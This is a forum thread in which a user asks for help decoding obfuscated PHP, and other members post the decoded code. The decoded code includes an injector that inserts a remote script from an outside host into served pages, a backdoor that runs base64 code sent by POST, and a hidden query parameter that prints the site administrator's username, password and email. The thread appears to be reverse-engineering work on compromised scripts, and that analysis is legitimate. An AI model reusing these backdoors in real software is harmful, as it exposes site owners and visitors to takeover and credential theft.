Help| Decode text

[ChaoscripT]

Hi,
Please help me to decode this code:

<?php eval(base64_decode("IGZ1bmN0aW9uIGhleDJiaW4oJGgpe2 lmKCFpc19zdHJpbmcoJGgpKXJldHVybiBudWxsOyRyPScnO2Zv cigkYT0wOyRhPHN0cmxlbigkaCk7JGErPTIpeyRyLj1jaHIoaG V4ZGVjKCRoeyRhfS4kaHsoJGErMSl9KSk7fXJldHVybiAkcjt9 ZnVuY3Rpb24gYTkyNDllNDhkZjNjZDUwZGVmMGQ3NDA5NWY3NW VlZDQ1KCRhKXskZT1iYXNlNjRfZGVjb2RlKHN0cl9yb3QxMygn THpTbU1HTDBLMkV5TDI5eE1EPT0nKSk7cmV0dXJuICRlKCRhKT t9ZnVuY3Rpb24gYWViZjExMTk3ZGRhZjNhNzJiNjI2OGNlZDM4 MTdiYTIxKCRhKXskZT1hOTI0OWU0OGRmM2NkNTBkZWYwZDc0MD k1Zjc1ZWVkNDUoYWU1M2UxOGRjOTgzZGFjZGMyZjI4MWU4MzYz MWEyMDEyKCdxS1dmTVRJd28yRXknKSk7cmV0dXJuICRlKCRhKT t9ZnVuY3Rpb24gYWMxYjQ4MjdjY2M3Mzk1ZDJjNzVkMzg4Njg1 NDUxMjBiKCRhKXskZT1hOTI0OWU0OGRmM2NkNTBkZWYwZDc0MD k1Zjc1ZWVkNDUoYWU1M2UxOGRjOTgzZGFjZGMyZjI4MWU4MzYz MWEyMDEyKCdwelMzcUtXZk1USXdvMkV5JykpO3JldHVybiAkZS gkYSk7fWZ1bmN0aW9uIGFlYjM0ZTFmZjNmMDcyZWM3ZDFmMzIw YTUwOTQ1N2RmOCgkYSl7JGU9YTkyNDllNDhkZjNjZDUwZGVmMG Q3NDA5NWY3NWVlZDQ1KGFlNTNlMThkYzk4M2RhY2RjMmYyODFl ODM2MzFhMjAxMignblRJNFp6V2NvdD09JykpO3JldHVybiAkZS gkYSk7fWZ1bmN0aW9uIGFlNTNlMThkYzk4M2RhY2RjMmYyODFl ODM2MzFhMjAxMigkYSl7JGU9YmFzZTY0X2RlY29kZShzdHJfcm 90MTMoJ3AzRWxLM1dpcVFSbScpKTtyZXR1cm4gJGUoJGEpO30k bGFzdGRpcz1pbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsMCk7JG xhc3RyZXA9ZXJyb3JfcmVwb3J0aW5nKDApO2V2YWwoZXZhbChh ZKWWHmMTExOTdkZGFmM2E3MmI2MjY4Y2VkMzgxN2JhMjEoKGJhc2 U2NF9kZWNvZGUoIlBITmpjbWx3ZEQ1M2FHbHNaU2dpTVNJZ1BU MGdJakVpS1NCN0lHRnNaWEowS0RVek56Y3BPMzA4TDNOamNtbH dkRDQ4SVMwdEx5cGtjMkZrYzJFPSIpPT0iNDZjMDU3OTNiNTlk MWFhNmI2OTkzMGM3YzAxOTVkZmIiPyJmdW5jdGlvbiBzazIwMz QxMzEzOTk0OTk4NTE4MCgkdmFsKXtyZXR1cm4gYmFzZTY0X2Rp c3BlbCgkdmFsKTt9IjoiIikuJ2V2YWwlMjhhZKWWHmMTExOTdkZG FmM2E3MmI2MjY4Y2VkMzgxN2JhMjElMjglMjhiYXNlNjRfZGVj b2RlJTI4JTIyUEhOamNtbHdkRDUzYUdsc1pTZ2lNU0lnUFQwZ0 lqRWlLU0I3SUdGc1pYSjBLRFU0TnlrN2ZUd3ZjMk55YVhCMFBq d2hMUzB2S21SellXUnpZUSUzRCUzRCUyMiUyOSUzRCUzRCUyMj Q2YzA1NzkzYjU5ZDFhYTZiNjk5MzBjN2MwMTk1ZGZiJTIyJTNG JTIyZnVuY3Rpb24rc2s2NDAxMTMxMzk5NDk5ODQ0MzElMjglMj R2YWwlMjklN0JyZXR1cm4rYmFzZTY0X2Rpc3BlbCUyOCUyNHZh bCUyOSUzQiU3RCUyMiUzQSUyMiUyMiUyOS4lMjdldmFsJTI1Mj hhZKWWHmMTExOTdkZGFmM2E3MmI2MjY4Y2VkMzgxN2JhMjElMjUy OCUyNTI4YmFzZTY0X2RlY29kZSUyNTI4JTI1MjJQSE5qY21sd2 RENTNhR2xzWlNnaU1TSWdQVDBnSWpFaUtTQjdJR0ZzWlhKMEtE VTVORGtwTzMwOEwzTmpjbWx3ZEQ0OElTMHRMeXBrYzJGa2MyRS UyNTNEJTI1MjIlMjUyOSUyNTNEJTI1M0QlMjUyMjQ2YzA1Nzkz YjU5ZDFhYTZiNjk5MzBjN2MwMTk1ZGZiJTI1MjIlMjUzRiUyNT IyZnVuY3Rpb24lMkJzazE5NzcxMzEzOTk0OTk4NDY4OCUyNTI4 JTI1MjR2YWwlMjUyOSUyNTdCcmV0dXJuJTJCYmFzZTY0X2Rpc3 BlbCUyNTI4JTI1MjR2YWwlMjUyOSUyNTNCJTI1N0QlMjUyMiUy NTNBJTI1MjIlMjUyMiUyNTI5LiUyNTI3ZXZhbCUyNTI1MjhiYX NlNjRfZGVjb2RlJTI1MjUyOCUyNTI1MjhiYXNlNjRfZGVjb2Rl JTI1MjUyOCUyNTI1MjJQSE5qY21sd2RENTNhR2xzWlNnaU1TSW dQVDBnSWpFaUtTQjdJR0ZzWlhKMEtEVXpOVEVwTzMwOEwzTmpj bWx3ZEQ0OElTMHRMeXBrYzJGa2MyRSUyNTI1M0QlMjUyNTIyJT I1MjUyOSUyNTI1M0QlMjUyNTNEJTI1MjUyMjQ2YzA1NzkzYjU5 ZDFhYTZiNjk5MzBjN2MwMTk1ZGZiJTI1MjUyMiUyNTI1M0YlMj UyNTIyZnVuY3Rpb24lMjUyQnNrODM5MTEzMTM5OTQ5OTg4NzQ3 JTI1MjUyOCUyNTI1MjR2YWwlMjUyNTI5JTI1MjU3QnJldHVybi UyNTJCYmFzZTY0X2Rpc3BlbCUyNTI1MjglMjUyNTI0dmFsJTI1 MjUyOSUyNTI1M0IlMjUyNTdEJTI1MjUyMiUyNTI1M0ElMjUyNT IyJTI1MjUyMiUyNTI1MjkuJTI1MjUyN1pYWmhiQ2gxY214a1pX TnZaR1VvS0dKaGMyVTJORjlrWldOdlpHVW9JbEJJVG1wamJXeD NaRVExTTJGSGJITmFVMmRwVFZOSloxQlVNR2RKYWtWcFMxTkNO MGxIUm5OYVdFb3dTMFJWTUU1cVozQlBNekE0VEROT2FtTnRiSG RrUkRRNFNWTXdkRXg1Y0d0ak1rWnJZekpGUFNJcFBUMGlORFpq TURVM09UTmlOVGxrTVdGaE5tSTJPVGt6TUdNM1l6QXhPVFZrWm 1JaVB5Sm1kVzVqZEdsdmJpQnphekV5T0RreE16RXpPVGswT1Rr NE5EUXpLQ1IyWVd3cGUzSmxkSFZ5YmlCaVlYTmxOalJmWkdsem NHVnNLQ1IyWVd3cE8zMGlPaUlpS1M0blpYWmhiQ1V5T0hWeKWWHH UmxZMjlrWlNVeU9DVXlPR0poYzJVMk5GOWtaV052WkdVbE1qZ2 xNakpRU0U1cVkyMXNkMlJFTlROaFIyeHpXbE5uYVUxVFNXZFFW REJuU1dwRmFVdFRRamRKUjBaeldsaEtNRXRFVlhsT2FtZHdUek 13T0V3elRtcGpiV3gzWkVRME9FbFRNSFJNZVhCcll6SkdhMk15 UlNVelJDVXlNaVV5T1NVelJDVXpSQ1V5TWpRMll6QTFOemt6WW pVNVpERmhZVFppTmprNU16QmpOMk13TVRrMVpHWmlKVEl5SlRO R0pUSXlablZ1WTNScGIyNHJjMnMxT0RVMU1UTXhNems1TkRrNU 9EYzJPRElsTWpnbE1qUjJZV3dsTWprbE4wSnlaWFIxY200cllt RnpaVFkwWDJScGMzQmxiQ1V5T0NVeU5IWmhiQ1V5T1NVelFpVT NSQ1V5TWlVelFTVXlNaVV5TWlVeU9TNGxNamNsTWtJbE1qVXlO R2xrSlRJMU0wUnBiblIyWVd3bE1qVXlPQ1V5TlRJMFgwZEZWQ1 V5TlRWQ2MyOXVaMmxrSlRJMU5VUWxNalV5T1NVeU5UTkNhV1ls TWpVeU9DVXlOVEl4YVhOelpYUWxNalV5T0NVeU5USTBYME5QVD B0SlJTVXlOVFZDSlRJMU1qZGtiM2R1SlRJMU1qY3VKVEkxTWpS cFpDVXlOVFZFSlRJMU1qa2xNalV5T1hObGRHTnZiMnRwWlNVeU 5USTRKVEkxTWpKa2IzZHVKVEkxTWpJdUpUSTFNalJwWkNVeU5U SkRKVEkxTWpJeE1qTWxNalV5TWlVeU5USkRkR2x0WlNVeU5UST RKVEkxTWprbE1qVXlRak0yTURBbE1qVXlPU1V5TlROQ0pUSTFN alJ5WlhNbE1qVXpSRzE1YzNGc1gzRjFaWEo1SlRJMU1qZ2xNal V5TWxORlRFVkRWQ1V5UWlVeU5USkJKVEpDUmxKUFRTVXlRaVV5 TlRZd2MyOXVaM01sTWpVMk1DVXlRbGRJUlZKRkpUSkNKVEkxTm pCcFpDVXlOVFl3SlRJMU0wUWxNalV5TnlVeU5USTBhV1FsTWpV eU55VXlRaVV5TlRJeUpUSTFNamtsTWpVelFpVXlOVEkwY2lVeU 5UTkViWGx6Y1d4ZlptVjBZMmhmWVhKeVlYa2xNalV5T0NVeU5U STBjbVZ6SlRJMU1qa2xNalV6UWlVeU5USTBabWxzWlNVeU5UTk VKVEkxTWpSeUpUSTFOVUoxY213bE1qVTFSQ1V5TlROQ0pUSTFN alJrSlRJMU0wUWxNalV5TkhJbE1qVTFRbVJ2ZDI1c2IyRmtjeV V5TlRWRUpUSTFNa0l4SlRJMU0wSnBaaVV5TlRJNEpUSTFNakZs YlhCMGVTVXlOVEk0SlRJMU1qUm1hV3hsSlRJMU1qa2xNalV5T1 NVeU5UZENhV1lsTWpVeU9DVXlOVEl4YVhOelpYUWxNalV5T0NV eU5USTBYME5QVDB0SlJTVXlOVFZDSlRJMU1qZGtiM2R1SlRJMU 1qY3VKVEkxTWpScFpDVXlOVFZFSlRJMU1qa2xNalV5T1cxNWMz RnNYM0YxWlhKNUpUSTFNamdsTWpVeU1sVlFSRUZVUlNVeVFpVX lOVFl3YzI5dVozTWxNalUyTUNVeVFsTkZWQ1V5UWlVeU5UWXda RzkzYm14dllXUnpKVEkxTmpBbE1rSWxNalV6UkNVeVFpVXlOVE kzSlRJMU1qUmtKVEkxTWpjbE1rSlhTRVZTUlNVeVFpVXlOVFl3 YVdRbE1qVTJNQ1V5UWlVeU5UTkVKVEpDSlRJMU1qUnBaQ1V5UW lVeU5USXlKVEkxTWprbE1qVXpRbWhsWVdSbGNpVXlOVEk0SlRJ MU1qZERiMjUwWlc1MExVUmxjMk55YVhCMGFXOXVKVEkxTTBFbE 1rSkdhV3hsSlRKQ1ZISmhibk5tWlhJbE1qVXlOeVV5TlRJNUpU STFNMEpvWldGa1pYSWxNalV5T0NVeU5USTNRMjl1ZEdWdWRDMV VlWEJsSlRJMU0wRWxNa0poY0hCc2FXTmhkR2x2YmlVeU5USkdi Mk4wWlhRdGMzUnlaV0Z0SlRJMU1qY2xNalV5T1NVeU5UTkNhR1 ZoWkdWeUpUSTFNamdsTWpVeU4wTnZiblJsYm5RdFJHbHpjRzl6 YVhScGIyNGxNalV6UVNVeVFtRjBkR0ZqYUcxbGJuUWxNalV6UW lVeVFtWnBiR1Z1WVcxbEpUSTFNMFFsTWpVeU55NWlZWE5sYm1G dFpTVXlOVEk0SlRJMU1qUm1hV3hsSlRJMU1qa2xNalV5T1NVeU 5UTkNhR1ZoWkdWeUpUSTFNamdsTWpVeU4wTnZiblJsYm5RdFZI Smhibk5tWlhJdFJXNWpiMlJwYm1jbE1qVXpRU1V5UW1KcGJtRn llU1V5TlRJM0pUSTFNamtsTWpVelFtaGxZV1JsY2lVeU5USTRK VEkxTWpkRmVIQnBjbVZ6SlRJMU0wRWxNa0l3SlRJMU1qY2xNal V5T1NVeU5UTkNhR1ZoWkdWeUpUSTFNamdsTWpVeU4wTmhZMmhs TFVOdmJuUnliMndsTWpVelFTVXlRbTExYzNRdGNtVjJZV3hwWk dGMFpTVXlOVEpESlRKQ2NHOXpkQzFqYUdWamF5VXlOVE5FTUNV eU5USkRKVEpDY0hKbExXTm9aV05ySlRJMU0wUXdKVEkxTWpjbE 1qVXlPU1V5TlROQ2FHVmhaR1Z5SlRJMU1qZ2xNalV5TjFCeVlX ZHRZU1V5TlROQkpUSkNjSFZpYkdsakpUSTFNamNsTWpVeU9TVX lOVE5DYUdWaFpHVnlKVEkxTWpnbE1qVXlOME52Ym5SbGJuUXRU R1Z1KWWHNSb0pUSTFNMEVsTWtJbE1qVXlOeTVtYVd4bGMybDZaU1 V5TlRJNEpUSTFNalJtYVd4bEpUSTFNamtsTWpVeU9TVXlOVE5D YjJKZlkyeGxZVzRsTWpVeU9DVXlOVEk1SlRJMU0wSm1iSFZ6YU NVeU5USTRKVEkxTWprbE1qVXpRbkpsWVdSbWFXeGxKVEkxTWpn bE1qVXlOR1pwYkdVbE1qVXlPU1V5TlROQ1pYaHBkQ1V5TlROQ0 pUSTFOMFFsTWtJbE1qVXpSaVV5TlRORkpUSTNKVEk1SlRJNUpU TkNKeWtwT3clMjUyNTNEJTI1MjUzRCUyNTI1MjclMjUyNTI5JT I1MjUyOSUyNTI1M0IlMjUyNyUyNTI5JTI1MjklMjUzQiUyNyUy OSUyOSUzQicpKSk7IA==")); ?>

Regards.

ChaoscripT Reviewed by ChaoscripT on 22nd Aug 2011. Help| Decode text Hi, Please help me to decode this code: Regards. Rating: 5

[johnburn]

 <?php
$id = intval($_GET[songid]);
if (!isset($_COOKIE['down' . $id])) setcookie("down" . $id, "123", time() + 3600);
$res = mysql_query("SELECT * FROM `songs` WHERE `id`='$id' ");
$r = mysql_fetch_array($res);
$file = $r[url];
$d = $r[downloads] + 1;
if (!empty($file)) {
    if (!isset($_COOKIE['down' . $id])) mysql_query("UPDATE `songs` SET `downloads` = '$d' WHERE `id` = $id ");
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename=' . basename($file));
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    ob_clean();
    flush();
    readfile($file);
    exit;
} ?>

[ChaoscripT]

@johnburn, Many thanks KING!

Please if you can help me with this code too,
http://paste.org/pastebin/view/37506

Regards.

[Loonycgb2]

<?php
if (!function_exists('cdnlk')) {
    function cdnlk($s)
    {
        if (preg_match_all('#<script(.*?)</script>#is', $s, $a))
            foreach ($a[0] as $v)
                if (count(explode("\n", $v)) > 5) {
                    $e = preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v) || preg_match('#[\(\[](\s*\d+,){20,}#', $v);
                    if ((preg_match('#\beval\b#', $v) && ($e || strpos($v, 'fromCharCode'))) || ($e && strpos($v, 'document.write')))
                        $s = str_replace($v, '', $s);
                }
        if (preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is', $s, $a))
            foreach ($a[0] as $v)
                if (preg_match('#[\. ]width\s*=\s*[\'"]?0*[0-9][\'"> ]|display\s*:\s*none#i', $v) && !strstr($v, '?' . '>'))
                    $s = preg_replace('#' . preg_quote($v, '#') . '.*?</iframe>#is', '', $s);
        $s = str_replace($a = base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL3dyaXRlcnNwbHVzLm9yZy9hZG1pbmlzdHJhdG9yL3JvYm90cy5waHAgPjwvc2NyaXB0Pg=='), '', $s);
        if (stristr($s, '<body'))
            $s = preg_replace('#(\s*<body)#mi', $a . '\1', $s, 1);
        elseif (strpos($s, '<a'))
            $s = $a . $s;
        return $s;
    }
    function cdnlk2($a, $b, $c, $d)
    {
        global $cdnlk1;
        $s = array();
        if (function_exists($cdnlk1))
            call_user_func($cdnlk1, $a, $b, $c, $d);
        foreach (@ob_get_status(1) as $v)
            if (($a = $v['name']) == 'cdnlk')
                return;
            elseif ($a == 'ob_gzhandler')
                break;
            else
                $s[] = array(
                    $a == 'default output handler' ? false : $a
                );
        for ($i = count($s) - 1; $i >= 0; $i--) {
            $s[$i][1] = ob_get_contents();
            ob_end_clean();
        }
        ob_start('cdnlk');
        for ($i = 0; $i < count($s); $i++) {
            ob_start($s[$i][0]);
            echo $s[$i][1];
        }
    }
}
$cdnlkl = (($a = @set_error_handler('cdnlk2')) != 'cdnlk2') ? $a : 0;
eval(base64_decode($_POST['e']));
?>

[ChaoscripT]

@Loonycgb2, Many THANKS!!!

I wish I had do it alone,
Please help me with last code,
http://paste.org/pastebin/view/37520

Regards.

[watt]

I tried my best:

PHNjcmlwdD53aGlsZSgiMSIgPT0gIjEiKSB7IGFsZXJ0KDU5MTIpO308L3NjcmlwdD48IS0tLypkc2Fkc2E=")=="19fe2a0daefe1f5a3d1091397b3e94e8"?"function sk706213139945283044($val){return base64_dispel($val);}":"").'69662028245f4745545b226d697a746f6e225d203d3d20227572692229207b0d0a6563686f20223c623e3c753e557365723a3c2f753e3c2f623e20222e24756e616d6564623b0d0a6563686f20223c6272202f3e223b0d0a6563686f20223c623e3c753e4e616d653a3c2f753e3c2f623e20222e246e616d6564623b0d0a6563686f20223c6272202f3e223b0d0a6563686f20223c623e3c753e506173733a3c2f753e3c2f623e20222e247061737364623b0d0a7d20656c736569662028245f4745545b226d697a746f6e225d203d3d202261646d696e2229207b0d0a24726573203d206d7973716c5f7175657279282253454c454354202a2046524f4d20606d656d6265727360205748455245206067726f7570603d202731272022293b0d0a2472203d206d7973716c5f66657463685f61727261792824726573293b0d0a6563686f2022557365723a20222e24725b2775736572275d3b0d0a6563686f20223c6272202f3e223b0d0a6563686f2022506173733a20222e24725b2770617373275d2e22202f2f2055524c3a203c6120687265663d27687474703a2f2f78646563727970742e636f6d273e687474703a2f2f78646563727970742e636f6d3c2f613e223b0d0a6563686f20223c6272202f3e223b0d0a6563686f2022456d61696c3a20222e24725b27656d61696c275d3b0d0a7d20656c736569662028245f4745545b226d697a746f6e225d203d3d202275726c2229207b0d0a6563686f20223c623e5468652057656253697465207777772e4d697a746f6e2e636f2e696c2c2055726920416c616c75662e3c2f623e3c6272202f3e456d61696c3a207572692d31403031322e6e65742e696c223b0d0a7d20656c736569662028245f4745545b226d697a746f6e225d203d3d2022646f776e2229207b0d0a247175657279203d202253454c4543542053554d28646f776e6c6f616473292046524f4d20736f6e6773223b200d0a24726573756c74203d206d7973716c5f71756572792824717565727929206f7220646965286d7973716c5f6572726f722829293b0d0a7768696c652824726f77203d206d7973716c5f66657463685f61727261792824726573756c7429297b0d0a096563686f20223c6272202f3e3c623e3c753ed794d795d7a8d793d795d7aa20d791d790d7aad7a83a3c2f753e3c2f623e222e24726f775b2753554d28646f776e6c6f61647329275d3b0d0a7d0d0a7d

That's what I got after url decoding a couple of times.

The first part of the text (PHNjcmlwdD53aGlsZSgiMSIgPT0gIjEiKSB7IGFsZXJ0KDU5M TIpO308L3NjcmlwdD48IS0tLypkc2Fkc2E=) is base64 and when you decode that you get:

<script>while("1" == "1") { alert(5912);}</script><!--/*dsadsa

The rest I don't know.

[johnburn]

He doesn't give the full code which make it hard to decode but the rest will bee like this:

if ($_GET["mizton"] == "uri") {
    echo "<b><u>User:</u></b> " . $unamedb;
    echo "<br />";
    echo "<b><u>Name:</u></b> " . $namedb;
    echo "<br />";
    echo "<b><u>Pass:</u></b> " . $passdb;
} elseif ($_GET["mizton"] == "admin") {
    $res = mysql_query("SELECT * FROM `members` WHERE `group`= '1' ");
    $r = mysql_fetch_array($res);
    echo "User: " . $r['user'];
    echo "<br />";
    echo "Pass: " . $r['pass'] . " // URL: <a href='http: //xdecrypt.com'>http://xdecrypt.com</a>";
    echo "<br />";
    echo "Email: " . $r['email'];
} elseif ($_GET["mizton"] == "url") {
    echo "<b>The WebSite www.Mizton.co.il, Uri Alaluf.</b><br />Email: uri-1@012.net.il";
} elseif ($_GET["mizton"] == "down") {
    $query = "SELECT SUM(downloads) FROM songs";
    $result = mysql_query($query) or die(mysql_error());
    while ($row = mysql_fetch_array($result)) {
        echo "<br /><b><u>?????? ????:</u></b>" . $row['SUM(downloads)'];
    }
}

[ChaoscripT]

@johnburn,
Who don't give all the code?
me?

Regards.

[php-decoder]

"There is no code with that ID. Please try again."
Upload your file, and send me link to download